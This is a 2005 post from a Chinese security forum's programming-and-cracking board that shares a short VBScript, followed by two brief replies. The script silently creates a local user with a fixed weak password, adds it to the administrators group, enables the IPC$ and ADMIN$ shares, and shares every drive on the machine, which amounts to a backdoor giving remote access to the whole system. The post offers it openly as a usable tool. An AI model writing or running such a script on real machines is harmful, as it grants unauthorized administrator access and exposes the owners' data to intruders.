论坛: 编程破解 标题: [原]一个开本地所有共享的脚本-_-# 复制本贴地址    
作者: 猫降龙 [mxlong]    论坛用户   登录
一个小玩艺,写的很烂,没什么技术含量,望广大菜鸟来批评。


Dim Fso,WshShell,d,s,dc,n

'定义共享盘符
Disks=Array("A$=A:","C$=C:","D$=D:","E$=E:","F$=F:","H$=H:","I$=I:","J$=J:","K$=K:","L$=L:","M$=M:","N$=N:","O$=O:","P$=P:","Q$=Q:","R$=R:","S$=S:","T$=T:","U$=U:","V$=V:","W$=W:","X$=X:","Y$=Y:","Z$=Z:")

Set WshShell=WSCript.CreateObject("WSCript.Shell")
Set Fso=CreateObject("Scripting.FileSystemObject")
Set dc=Fso.Drives

'添加用户到ADMIN组,开IPC$和ADMIN$
WshShell.Run "net user mxlong 123456 /add"
WshShell.Run "net localgroup administrators mxlong /add"
WshShell.Run "net share IPC$"
WshShell.Run "net share ADMIN$"

'找出驱动器的数目
For Each d In dc
    s=s & d.DriveLetter
    n=n+1
Next

'将所有驱动器开共享
For i=0 to n
    WshShell.Run "net share " & Disks(i)
Next

地主 发表时间: 05-07-30 18:20

回复: DaemonTools [a7611679_]   论坛用户   登录
  一个小小的VBS!

B1层 发表时间: 05-08-08 13:58

回复: wukiy [wukiy]   论坛用户   登录
为什么要用脚本呢?
就是加他帐户和开共享吗?用VB一样也能编呀。。。。。。。。。。

B2层 发表时间: 05-08-14 19:58

论坛: 编程破解

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号